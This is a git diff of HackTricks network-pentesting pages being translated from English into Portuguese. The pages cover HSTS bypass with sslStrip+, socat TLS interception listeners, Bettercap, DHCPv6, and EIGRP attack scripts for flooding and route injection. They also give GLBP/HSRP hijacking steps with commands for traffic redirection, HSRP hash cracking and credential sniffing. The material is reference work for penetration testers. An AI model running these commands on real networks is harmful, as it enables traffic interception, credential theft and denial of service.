-The **difference** between **sslStrip+ and dns2proxy** against **sslStrip** is that they will **redirect** for example _**www.facebook.com**_ **to** _**wwww.facebook.com**_ (note the **extra** "**w**") and will set the **address of this domain as the attacker IP**. This way, the **client** will **connect** to _**wwww.facebook.com**_ **(the attacker)** but behind the scenes **sslstrip+** will **maintain** the **real connection** via https with **www.facebook.com**.
+O **objetivo** desta técnica é **evitar HSTS** porque _**wwww**.facebook.com_ **não será** salvo no **cache** do navegador, então o navegador será enganado para realizar a **autenticação do facebook em HTTP**.\
+Note que, para realizar este ataque, a vítima deve tentar acessar inicialmente [http://www.faceook.com](http://www.faceook.com) e não https. Isso pode ser feito modificando os links dentro de uma página http.
 
-The **goal** of this technique is to **avoid HSTS** because _**wwww**.facebook.com_ **won't** be saved in the **cache** of the browser, so the browser will be tricked to perform **facebook authentication in HTTP**.\
-Note that in order to perform this attack the victim has to try to access initially to [http://www.faceook.com](http://www.faceook.com) and not https. This can be done modifying the links inside an http page.
+Mais informações [aqui](https://www.bettercap.org/legacy/#hsts-bypass), [aqui](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) e [aqui](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
 
-More info [here](https://www.bettercap.org/legacy/#hsts-bypass), [here](https://www.slideshare.net/Fatuo__/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) and [here](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
-
-**sslStrip or sslStrip+ doesn;t work anymore. This is because there are HSTS rules presaved in the browsers, so even if it's the first time that a user access an "important" domain he will access it via HTTPS. Also, notice that the presaved rules and other generated rules can use the flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **so the** _**wwww.facebook.com**_ **example from before won't work anymore as** _**facebook.com**_ **uses HSTS with `includeSubdomains`.**
+**sslStrip ou sslStrip+ não funcionam mais. Isso se deve ao fato de que existem regras HSTS pré-salvas nos navegadores, então mesmo que seja a primeira vez que um usuário acesse um domínio "importante", ele o fará via HTTPS. Além disso, note que as regras pré-salvas e outras regras geradas podem usar a flag** [**`includeSubdomains`**](https://hstspreload.appspot.com) **então o** _**wwww.facebook.com**_ **exemplo de antes não funcionará mais, pois** _**facebook.com**_ **usa HSTS com `includeSubdomains`.**
 
 TODO: easy-creds, evilgrade, metasploit, factory
 
-## TCP listen in port
-
+## TCP escutar na porta
 ```bash
 sudo nc -l -p 80
 socat TCP4-LISTEN:80,fork,reuseaddr -
 ```
+## TCP + SSL escutar na porta
 
-## TCP + SSL listen in port
-
-#### Generate keys and self-signed certificate
-
+#### Gerar chaves e certificado autoassinado
 ```
 FILENAME=server
 # Generate a public/private key pair:
@@ -817,26 +725,20 @@ openssl req -new -key $FILENAME.key -x509 -sha256 -days 3653 -out $FILENAME.crt
 # Generate the PEM file by just appending the key and certificate files:
 cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
 ```
-
-#### Listen using certificate
-
+#### Ouvir usando certificado
 ```
 sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
 ```
-
-#### Listen using certificate and redirect to the hosts
-
+#### Ouça usando certificado e redirecione para os hosts
 ```
 sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0  openssl-connect:[SERVER]:[PORT],verify=0
 ```
+Às vezes, se o cliente verificar que a CA é válida, você pode **servir um certificado de outro hostname assinado por uma CA**.\
+Outro teste interessante é **servir um certificado do hostname solicitado, mas autoassinado**.
 
-Some times, if the client checks that the CA is a valid one, you could **serve a certificate of other hostname signed by a CA**.\
-Another interesting test, is to serve a c**ertificate of the requested hostname but self-signed**.
-
-Other things to test is to try to sign the certificate with a valid certificate that it is not a valid CA. Or to use the valid public key, force to use an algorithm as diffie hellman (one that do not need to decrypt anything with the real private key) and when the client request a probe of the real private key (like a hash) send a fake probe and expect that the client does not check this.
+Outras coisas a testar são tentar assinar o certificado com um certificado válido que não seja uma CA válida. Ou usar a chave pública válida, forçar o uso de um algoritmo como Diffie-Hellman (um que não precise descriptografar nada com a verdadeira chave privada) e, quando o cliente solicitar uma prova da verdadeira chave privada (como um hash), enviar uma prova falsa e esperar que o cliente não verifique isso.
 
 ## Bettercap
-
 ```bash
 # Events
 events.stream off #Stop showing events
@@ -862,20 +764,19 @@ set wifi.ap.channel 5
 set wifi.ap.encryption false #If true, WPA2
 wifi.recon on; wifi.ap
 ```
+### Notas de Descoberta Ativa
 
-### Active Discovery Notes
+Leve em consideração que quando um pacote UDP é enviado para um dispositivo que não possui a porta solicitada, um ICMP (Port Unreachable) é enviado.
 
-Take into account that when a UDP packet is sent to a device that do not have the requested port an ICMP (Port Unreachable) is sent.
+### **Descoberta ARP**
 
-### **ARP discover**
+Pacotes ARP são usados para descobrir quais IPs estão sendo utilizados dentro da rede. O PC deve enviar uma solicitação para cada possível endereço IP e apenas aqueles que estão sendo utilizados responderão.
 
-ARP packets are used to discover wich IPs are being used inside the network. The PC has to send a request for each possible IP address and only the ones that are being used will respond.
+### **mDNS (DNS multicast)**
 
-### **mDNS (multicast DNS)**
+Bettercap envia uma solicitação MDNS (a cada X ms) perguntando por **\_services\_.dns-sd.\_udp.local**. A máquina que vê este pacote geralmente responde a essa solicitação. Em seguida, ela apenas procura por máquinas que respondem a "services".
 
-Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp.local** the machine that see this paket usually answer this request. Then, it only searchs for machine answering to "services".
-
-**Tools**
+**Ferramentas**
 
 - Avahi-browser (--all)
 - Bettercap (net.probe.mdns)
@@ -883,26 +784,23 @@ Bettercap send a MDNS request (each X ms) asking for **\_services\_.dns-sd.\_udp
 
 ### **NBNS (NetBios Name Server)**
 
-Bettercap broadcast packets to the port 137/UDP asking for the name "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
+Bettercap transmite pacotes para a porta 137/UDP perguntando pelo nome "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
 
-### **SSDP (Simple Service Discovery Protocol)**
+### **SSDP (Protocolo de Descoberta de Serviços Simples)**
 
-Bettercap broadcast SSDP packets searching for all kind of services (UDP Port 1900).
+Bettercap transmite pacotes SSDP procurando por todo tipo de serviços (Porta UDP 1900).
 
-### **WSD (Web Service Discovery)**
+### **WSD (Descoberta de Serviços Web)**
 
-Bettercap broadcast WSD packets searching for services (UDP Port 3702).
+Bettercap transmite pacotes WSD procurando por serviços (Porta UDP 3702).
 
-## References
+## Referências
 
 - [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
-- **Network Security Assessment: Know Your Network (3rd edition)**
-- **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
+- **Avaliação de Segurança de Rede: Conheça Sua Rede (3ª edição)**
+- **Hacking Prático de IoT: O Guia Definitivo para Atacar a Internet das Coisas. Por Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
 - [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
 
-\
-**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**!
 
-{% embed url="https://go.intigriti.com/hacktricks" %}
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md
index 9dcab7fc1..6d2c688eb 100644
--- a/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/dhcpv6.md
@@ -1,39 +1,39 @@
 {{#include ../../banners/hacktricks-training.md}}
 
-### DHCPv6 vs. DHCPv4 Message Types Comparison
+### Comparação dos Tipos de Mensagens DHCPv6 vs. DHCPv4
 
-A comparative view of DHCPv6 and DHCPv4 message types is presented in the table below:
+Uma visão comparativa dos tipos de mensagens DHCPv6 e DHCPv4 é apresentada na tabela abaixo:
 
-| DHCPv6 Message Type                | DHCPv4 Message Type |
-| :--------------------------------- | :------------------ |
-| Solicit (1)                        | DHCPDISCOVER        |
-| Advertise (2)                      | DHCPOFFER           |
-| Request (3), Renew (5), Rebind (6) | DHCPREQUEST         |
-| Reply (7)                          | DHCPACK / DHCPNAK   |
-| Release (8)                        | DHCPRELEASE         |
-| Information-Request (11)           | DHCPINFORM          |
-| Decline (9)                        | DHCPDECLINE         |
-| Confirm (4)                        | none                |
-| Reconfigure (10)                   | DHCPFORCERENEW      |
-| Relay-Forw (12), Relay-Reply (13)  | none                |
+| Tipo de Mensagem DHCPv6           | Tipo de Mensagem DHCPv4 |
+| :-------------------------------- | :----------------------- |
+| Solicit (1)                       | DHCPDISCOVER             |
+| Advertise (2)                     | DHCPOFFER                |
+| Request (3), Renew (5), Rebind (6) | DHCPREQUEST              |
+| Reply (7)                         | DHCPACK / DHCPNAK        |
+| Release (8)                       | DHCPRELEASE              |
+| Information-Request (11)          | DHCPINFORM               |
+| Decline (9)                       | DHCPDECLINE              |
+| Confirm (4)                       | none                     |
+| Reconfigure (10)                  | DHCPFORCERENEW           |
+| Relay-Forw (12), Relay-Reply (13) | none                     |
 
-**Detailed Explanation of DHCPv6 Message Types:**
+**Explicação Detalhada dos Tipos de Mensagens DHCPv6:**
 
-1. **Solicit (1)**: Initiated by a DHCPv6 client to find available servers.
-2. **Advertise (2)**: Sent by servers in response to a Solicit, indicating availability for DHCP service.
-3. **Request (3)**: Clients use this to request IP addresses or prefixes from a specific server.
-4. **Confirm (4)**: Used by a client to verify if the assigned addresses are still valid on the network, typically after a network change.
-5. **Renew (5)**: Clients send this to the original server to extend address lifetimes or update configurations.
-6. **Rebind (6)**: Sent to any server to extend address lifetimes or update configurations, especially when no response is received to a Renew.
-7. **Reply (7)**: Servers use this to provide addresses, configuration parameters, or to acknowledge messages like Release or Decline.
-8. **Release (8)**: Clients inform the server to stop using one or more assigned addresses.
-9. **Decline (9)**: Sent by clients to report that assigned addresses are in conflict on the network.
-10. **Reconfigure (10)**: Servers prompt clients to initiate transactions for new or updated configurations.
-11. **Information-Request (11)**: Clients request configuration parameters without IP address assignment.
-12. **Relay-Forw (12)**: Relay agents forward messages to servers.
-13. **Relay-Repl (13)**: Servers reply to relay agents, who then deliver the message to the client.
+1. **Solicit (1)**: Iniciado por um cliente DHCPv6 para encontrar servidores disponíveis.
+2. **Advertise (2)**: Enviado pelos servidores em resposta a um Solicit, indicando disponibilidade para o serviço DHCP.
+3. **Request (3)**: Os clientes usam isso para solicitar endereços IP ou prefixos de um servidor específico.
+4. **Confirm (4)**: Usado por um cliente para verificar se os endereços atribuídos ainda são válidos na rede, tipicamente após uma mudança de rede.
+5. **Renew (5)**: Os clientes enviam isso ao servidor original para estender a duração dos endereços ou atualizar configurações.
+6. **Rebind (6)**: Enviado a qualquer servidor para estender a duração dos endereços ou atualizar configurações, especialmente quando nenhuma resposta é recebida a um Renew.
+7. **Reply (7)**: Os servidores usam isso para fornecer endereços, parâmetros de configuração ou para reconhecer mensagens como Release ou Decline.
+8. **Release (8)**: Os clientes informam o servidor para parar de usar um ou mais endereços atribuídos.
+9. **Decline (9)**: Enviado pelos clientes para relatar que os endereços atribuídos estão em conflito na rede.
+10. **Reconfigure (10)**: Os servidores solicitam que os clientes iniciem transações para novas ou atualizadas configurações.
+11. **Information-Request (11)**: Os clientes solicitam parâmetros de configuração sem atribuição de endereço IP.
+12. **Relay-Forw (12)**: Agentes de retransmissão encaminham mensagens para servidores.
+13. **Relay-Repl (13)**: Os servidores respondem aos agentes de retransmissão, que então entregam a mensagem ao cliente.
 
-## References
+## Referências
 
 - [https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages](https://support.huawei.com/enterprise/en/doc/EDOC1100306163/d427e938/introduction-to-dhcpv6-messages)
 
diff --git a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md
index fe4b7247a..428a1e4ef 100644
--- a/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/eigrp-attacks.md
@@ -1,61 +1,61 @@
-# EIGRP Attacks
+# Ataques EIGRP
 
 {{#include ../../banners/hacktricks-training.md}}
 
-**This is a summary of the attacks exposed in** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Check it for further information.
+**Este é um resumo dos ataques expostos em** [**https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9**](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9). Confira para mais informações.
 
-## **Fake EIGRP Neighbors Attack**
+## **Ataque de Vizinhos Falsos EIGRP**
 
-- **Objective**: To overload router CPUs by flooding them with EIGRP hello packets, potentially leading to a Denial of Service (DoS) attack.
-- **Tool**: **helloflooding.py** script.
-- **Execution**:
-  %%%bash
-  ~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
-  %%%
-- **Parameters**:
-  - `--interface`: Specifies the network interface, e.g., `eth0`.
-  - `--as`: Defines the EIGRP autonomous system number, e.g., `1`.
-  - `--subnet`: Sets the subnet location, e.g., `10.10.100.0/24`.
+- **Objetivo**: Sobrecarregar as CPUs dos roteadores inundando-as com pacotes hello EIGRP, potencialmente levando a um ataque de Negação de Serviço (DoS).
+- **Ferramenta**: Script **helloflooding.py**.
+- **Execução**:
+%%%bash
+~$ sudo python3 helloflooding.py --interface eth0 --as 1 --subnet 10.10.100.0/24
+%%%
+- **Parâmetros**:
+- `--interface`: Especifica a interface de rede, por exemplo, `eth0`.
+- `--as`: Define o número do sistema autônomo EIGRP, por exemplo, `1`.
+- `--subnet`: Define a localização da sub-rede, por exemplo, `10.10.100.0/24`.
 
-## **EIGRP Blackhole Attack**
+## **Ataque de Buraco Negro EIGRP**
 
-- **Objective**: To disrupt network traffic flow by injecting a false route, leading to a blackhole where the traffic is directed to a non-existent destination.
-- **Tool**: **routeinject.py** script.
-- **Execution**:
-  %%%bash
-  ~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
-  %%%
-- **Parameters**:
-  - `--interface`: Specifies the attacker’s system interface.
-  - `--as`: Defines the EIGRP AS number.
-  - `--src`: Sets the attacker’s IP address.
-  - `--dst`: Sets the target subnet IP.
-  - `--prefix`: Defines the mask of the target subnet IP.
+- **Objetivo**: Interromper o fluxo de tráfego da rede injetando uma rota falsa, levando a um buraco negro onde o tráfego é direcionado a um destino inexistente.
+- **Ferramenta**: Script **routeinject.py**.
+- **Execução**:
+%%%bash
+~$ sudo python3 routeinject.py --interface eth0 --as 1 --src 10.10.100.50 --dst 172.16.100.140 --prefix 32
+%%%
+- **Parâmetros**:
+- `--interface`: Especifica a interface do sistema do atacante.
+- `--as`: Define o número AS EIGRP.
+- `--src`: Define o endereço IP do atacante.
+- `--dst`: Define o IP da sub-rede alvo.
+- `--prefix`: Define a máscara do IP da sub-rede alvo.
 
-## **Abusing K-Values Attack**
+## **Ataque de Abuso de Valores K**
 
-- **Objective**: To create continuous disruptions and reconnections within the EIGRP domain by injecting altered K-values, effectively resulting in a DoS attack.
-- **Tool**: **relationshipnightmare.py** script.
-- **Execution**:
-  %%%bash
-  ~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
-  %%%
-- **Parameters**:
-  - `--interface`: Specifies the network interface.
-  - `--as`: Defines the EIGRP AS number.
-  - `--src`: Sets the IP Address of a legitimate router.
+- **Objetivo**: Criar interrupções e reconexões contínuas dentro do domínio EIGRP injetando valores K alterados, resultando efetivamente em um ataque DoS.
+- **Ferramenta**: Script **relationshipnightmare.py**.
+- **Execução**:
+%%%bash
+~$ sudo python3 relationshipnightmare.py --interface eth0 --as 1 --src 10.10.100.100
+%%%
+- **Parâmetros**:
+- `--interface`: Especifica a interface de rede.
+- `--as`: Define o número AS EIGRP.
+- `--src`: Define o endereço IP de um roteador legítimo.
 
-## **Routing Table Overflow Attack**
+## **Ataque de Transbordo da Tabela de Roteamento**
 
-- **Objective**: To strain the router's CPU and RAM by flooding the routing table with numerous false routes.
-- **Tool**: **routingtableoverflow.py** script.
-- **Execution**:
-  %%%bash
-  sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
-  %%%
-- **Parameters**:
-  - `--interface`: Specifies the network interface.
-  - `--as`: Defines the EIGRP AS number.
-  - `--src`: Sets the attacker’s IP address.
+- **Objetivo**: Sobrecarregar a CPU e a RAM do roteador inundando a tabela de roteamento com inúmeras rotas falsas.
+- **Ferramenta**: Script **routingtableoverflow.py**.
+- **Execução**:
+%%%bash
+sudo python3 routingtableoverflow.py --interface eth0 --as 1 --src 10.10.100.50
+%%%
+- **Parâmetros**:
+- `--interface`: Especifica a interface de rede.
+- `--as`: Define o número AS EIGRP.
+- `--src`: Define o endereço IP do atacante.
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md
index 77e1a445e..6c1c19b37 100644
--- a/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/glbp-and-hsrp-attacks.md
@@ -2,60 +2,56 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-

 
-{% embed url="https://websec.nl/" %}
+## Visão Geral do Sequestro FHRP
 
-## FHRP Hijacking Overview
+### Insights sobre FHRP
 
-### Insights into FHRP
+FHRP é projetado para fornecer robustez à rede, unindo vários roteadores em uma única unidade virtual, melhorando assim a distribuição de carga e a tolerância a falhas. A Cisco Systems introduziu protocolos proeminentes nesta suíte, como GLBP e HSRP.
 
-FHRP is designed to provide network robustness by merging multiple routers into a single virtual unit, thereby enhancing load distribution and fault tolerance. Cisco Systems introduced prominent protocols in this suite, such as GLBP and HSRP.
+### Insights sobre o Protocolo GLBP
 
-### GLBP Protocol Insights
+A criação da Cisco, GLBP, funciona na pilha TCP/IP, utilizando UDP na porta 3222 para comunicação. Roteadores em um grupo GLBP trocam pacotes "hello" em intervalos de 3 segundos. Se um roteador não enviar esses pacotes por 10 segundos, presume-se que está offline. No entanto, esses temporizadores não são fixos e podem ser modificados.
 
-Cisco's creation, GLBP, functions on the TCP/IP stack, utilizing UDP on port 3222 for communication. Routers in a GLBP group exchange "hello" packets at 3-second intervals. If a router fails to send these packets for 10 seconds, it is presumed to be offline. However, these timers are not fixed and can be modified.
+### Operações GLBP e Distribuição de Carga
 
-### GLBP Operations and Load Distribution
+GLBP se destaca ao permitir a distribuição de carga entre roteadores usando um único IP virtual combinado com vários endereços MAC virtuais. Em um grupo GLBP, cada roteador está envolvido no encaminhamento de pacotes. Ao contrário do HSRP/VRRP, o GLBP oferece balanceamento de carga genuíno por meio de vários mecanismos:
 
-GLBP stands out by enabling load distribution across routers using a single virtual IP coupled with multiple virtual MAC addresses. In a GLBP group, every router is involved in packet forwarding. Unlike HSRP/VRRP, GLBP offers genuine load balancing through several mechanisms:
+- **Balanceamento de Carga Dependente do Host:** Mantém a atribuição consistente do endereço MAC AVF a um host, essencial para configurações NAT estáveis.
+- **Balanceamento de Carga Round-Robin:** A abordagem padrão, alternando a atribuição do endereço MAC AVF entre os hosts solicitantes.
+- **Balanceamento de Carga Round-Robin Ponderado:** Distribui a carga com base em métricas de "Peso" predefinidas.
 
-- **Host-Dependent Load Balancing:** Maintains consistent AVF MAC address assignment to a host, essential for stable NAT configurations.
-- **Round-Robin Load Balancing:** The default approach, alternating AVF MAC address assignment among requesting hosts.
-- **Weighted Round-Robin Load Balancing:** Distributes load based on predefined "Weight" metrics.
+### Componentes e Terminologias Chave no GLBP
 
-### Key Components and Terminologies in GLBP
+- **AVG (Active Virtual Gateway):** O roteador principal, responsável por alocar endereços MAC para roteadores pares.
+- **AVF (Active Virtual Forwarder):** Um roteador designado para gerenciar o tráfego da rede.
+- **Prioridade GLBP:** Uma métrica que determina o AVG, começando em um padrão de 100 e variando entre 1 e 255.
+- **Peso GLBP:** Reflete a carga atual em um roteador, ajustável manualmente ou através de Object Tracking.
+- **Endereço IP Virtual GLBP:** Serve como o gateway padrão da rede para todos os dispositivos conectados.
 
-- **AVG (Active Virtual Gateway):** The main router, responsible for allocating MAC addresses to peer routers.
-- **AVF (Active Virtual Forwarder):** A router designated to manage network traffic.
-- **GLBP Priority:** A metric that determines the AVG, starting at a default of 100 and ranging between 1 and 255.
-- **GLBP Weight:** Reflects the current load on a router, adjustable either manually or through Object Tracking.
-- **GLBP Virtual IP Address:** Serves as the network's default gateway for all connected devices.
+Para interações, o GLBP utiliza o endereço multicast reservado 224.0.0.102 e a porta UDP 3222. Os roteadores transmitem pacotes "hello" em intervalos de 3 segundos e são considerados não operacionais se um pacote for perdido por um período de 10 segundos.
 
-For interactions, GLBP employs the reserved multicast address 224.0.0.102 and UDP port 3222. Routers transmit "hello" packets at 3-second intervals, and are considered non-operational if a packet is missed over a 10-second duration.
+### Mecanismo de Ataque GLBP
 
-### GLBP Attack Mechanism
+Um atacante pode se tornar o roteador principal enviando um pacote GLBP com o maior valor de prioridade (255). Isso pode levar a ataques DoS ou MITM, permitindo a interceptação ou redirecionamento de tráfego.
 
-An attacker can become the primary router by sending a GLBP packet with the highest priority value (255). This can lead to DoS or MITM attacks, allowing traffic interception or redirection.
+### Executando um Ataque GLBP com Loki
 
-### Executing a GLBP Attack with Loki
+[Loki](https://github.com/raizo62/loki_on_kali) pode realizar um ataque GLBP injetando um pacote com prioridade e peso definidos para 255. Os passos pré-ataque envolvem coletar informações como o endereço IP virtual, presença de autenticação e valores de prioridade do roteador usando ferramentas como Wireshark.
 
-[Loki](https://github.com/raizo62/loki_on_kali) can perform a GLBP attack by injecting a packet with priority and weight set to 255. Pre-attack steps involve gathering information like the virtual IP address, authentication presence, and router priority values using tools like Wireshark.
+Passos do Ataque:
 
-Attack Steps:
+1. Mude para o modo promíscuo e habilite o encaminhamento IP.
+2. Identifique o roteador alvo e recupere seu IP.
+3. Gere um ARP Gratuitous.
+4. Injete um pacote GLBP malicioso, se passando pelo AVG.
+5. Atribua um endereço IP secundário à interface de rede do atacante, espelhando o IP virtual GLBP.
+6. Implemente SNAT para visibilidade completa do tráfego.
+7. Ajuste o roteamento para garantir acesso contínuo à internet através do roteador AVG original.
 
-1. Switch to promiscuous mode and enable IP forwarding.
-2. Identify the target router and retrieve its IP.
-3. Generate a Gratuitous ARP.
-4. Inject a malicious GLBP packet, impersonating the AVG.
-5. Assign a secondary IP address to the attacker's network interface, mirroring the GLBP virtual IP.
-6. Implement SNAT for complete traffic visibility.
-7. Adjust routing to ensure continued internet access through the original AVG router.
-
-By following these steps, the attacker positions themselves as a "man in the middle," capable of intercepting and analyzing network traffic, including unencrypted or sensitive data.
-
-For demonstration, here are the required command snippets:
+Seguindo esses passos, o atacante se posiciona como um "homem no meio", capaz de interceptar e analisar o tráfego da rede, incluindo dados não criptografados ou sensíveis.
 
+Para demonstração, aqui estão os trechos de comando necessários:
 ```bash
 # Enable promiscuous mode and IP forwarding
 sudo ip link set eth0 promisc on
@@ -69,78 +65,74 @@ sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
 sudo route del default
 sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
 ```
+Monitorar e interceptar o tráfego pode ser feito usando net-creds.py ou ferramentas similares para capturar e analisar os dados que fluem pela rede comprometida.
 
-Monitoring and intercepting traffic can be done using net-creds.py or similar tools to capture and analyze data flowing through the compromised network.
+### Explicação Passiva do Sequestro HSRP com Detalhes de Comando
 
-### Passive Explanation of HSRP Hijacking with Command Details
+#### Visão Geral do HSRP (Hot Standby Router/Redundancy Protocol)
 
-#### Overview of HSRP (Hot Standby Router/Redundancy Protocol)
+HSRP é um protocolo proprietário da Cisco projetado para redundância de gateway de rede. Ele permite a configuração de vários roteadores físicos em uma única unidade lógica com um endereço IP compartilhado. Esta unidade lógica é gerenciada por um roteador primário responsável por direcionar o tráfego. Ao contrário do GLBP, que usa métricas como prioridade e peso para balanceamento de carga, o HSRP depende de um único roteador ativo para gerenciamento de tráfego.
 
-HSRP is a Cisco proprietary protocol designed for network gateway redundancy. It allows the configuration of multiple physical routers into a single logical unit with a shared IP address. This logical unit is managed by a primary router responsible for directing traffic. Unlike GLBP, which uses metrics like priority and weight for load balancing, HSRP relies on a single active router for traffic management.
+#### Funções e Terminologia no HSRP
 
-#### Roles and Terminology in HSRP
+- **Roteador Ativo HSRP**: O dispositivo que atua como gateway, gerenciando o fluxo de tráfego.
+- **Roteador Standby HSRP**: Um roteador de backup, pronto para assumir se o roteador ativo falhar.
+- **Grupo HSRP**: Um conjunto de roteadores colaborando para formar um único roteador virtual resiliente.
+- **Endereço MAC HSRP**: Um endereço MAC virtual atribuído ao roteador lógico na configuração HSRP.
+- **Endereço IP Virtual HSRP**: O endereço IP virtual do grupo HSRP, atuando como o gateway padrão para dispositivos conectados.
 
-- **HSRP Active Router**: The device acting as the gateway, managing traffic flow.
-- **HSRP Standby Router**: A backup router, ready to take over if the active router fails.
-- **HSRP Group**: A set of routers collaborating to form a single resilient virtual router.
-- **HSRP MAC Address**: A virtual MAC address assigned to the logical router in the HSRP setup.
-- **HSRP Virtual IP Address**: The virtual IP address of the HSRP group, acting as the default gateway for connected devices.
+#### Versões do HSRP
 
-#### HSRP Versions
+O HSRP vem em duas versões, HSRPv1 e HSRPv2, que diferem principalmente na capacidade do grupo, uso de IP multicast e estrutura do endereço MAC virtual. O protocolo utiliza endereços IP multicast específicos para troca de informações de serviço, com pacotes Hello enviados a cada 3 segundos. Um roteador é considerado inativo se nenhum pacote for recebido dentro de um intervalo de 10 segundos.
 
-HSRP comes in two versions, HSRPv1 and HSRPv2, differing mainly in group capacity, multicast IP usage, and virtual MAC address structure. The protocol utilizes specific multicast IP addresses for service information exchange, with Hello packets sent every 3 seconds. A router is presumed inactive if no packet is received within a 10-second interval.
+#### Mecanismo de Ataque HSRP
 
-#### HSRP Attack Mechanism
+Os ataques HSRP envolvem a tomada forçada do papel do Roteador Ativo, injetando um valor de prioridade máximo. Isso pode levar a um ataque Man-In-The-Middle (MITM). Os passos essenciais pré-ataque incluem a coleta de dados sobre a configuração HSRP, que pode ser feita usando o Wireshark para análise de tráfego.
 
-HSRP attacks involve forcibly taking over the Active Router's role by injecting a maximum priority value. This can lead to a Man-In-The-Middle (MITM) attack. Essential pre-attack steps include gathering data about the HSRP setup, which can be done using Wireshark for traffic analysis.
+#### Passos para Bypass da Autenticação HSRP
 
-#### Steps for Bypassing HSRP Authentication
+1. Salve o tráfego da rede contendo dados HSRP como um arquivo .pcap.
+```shell
+tcpdump -w hsrp_traffic.pcap
+```
+2. Extraia hashes MD5 do arquivo .pcap usando hsrp2john.py.
+```shell
+python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
+```
+3. Quebre os hashes MD5 usando John the Ripper.
+```shell
+john --wordlist=mywordlist.txt hsrp_hashes
+```
 
-1. Save the network traffic containing HSRP data as a .pcap file.
-   ```shell
-   tcpdump -w hsrp_traffic.pcap
-   ```
-2. Extract MD5 hashes from the .pcap file using hsrp2john.py.
-   ```shell
-   python2 hsrp2john.py hsrp_traffic.pcap > hsrp_hashes
-   ```
-3. Crack the MD5 hashes using John the Ripper.
-   ```shell
-   john --wordlist=mywordlist.txt hsrp_hashes
-   ```
+**Executando a Injeção HSRP com Loki**
 
-**Executing HSRP Injection with Loki**
+1. Inicie o Loki para identificar anúncios HSRP.
+2. Defina a interface de rede para modo promíscuo e habilite o encaminhamento de IP.
+```shell
+sudo ip link set eth0 promisc on
+sudo sysctl -w net.ipv4.ip_forward=1
+```
+3. Use o Loki para direcionar o roteador específico, insira a senha HSRP quebrada e execute as configurações necessárias para se passar pelo Roteador Ativo.
+4. Após assumir o papel de Roteador Ativo, configure sua interface de rede e tabelas IP para interceptar o tráfego legítimo.
+```shell
+sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
+sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
+```
+5. Modifique a tabela de roteamento para direcionar o tráfego através do antigo Roteador Ativo.
+```shell
+sudo route del default
+sudo route add -net 0.0.0.0 netmask 0.0.0.0 gw 10.10.100.100
+```
+6. Use net-creds.py ou uma utilidade similar para capturar credenciais do tráfego interceptado.
+```shell
+sudo python2 net-creds.py -i eth0
+```
 
-1. Launch Loki to identify HSRP advertisements.
-2. Set the network interface to promiscuous mode and enable IP forwarding.
-   ```shell
-   sudo ip link set eth0 promisc on
-   sudo sysctl -w net.ipv4.ip_forward=1
-   ```
-3. Use Loki to target the specific router, input the cracked HSRP password, and perform necessary configurations to impersonate the Active Router.
-4. After gaining the Active Router role, configure your network interface and IP tables to intercept the legitimate traffic.
-   ```shell
-   sudo ifconfig eth0:1 10.10.100.254 netmask 255.255.255.0
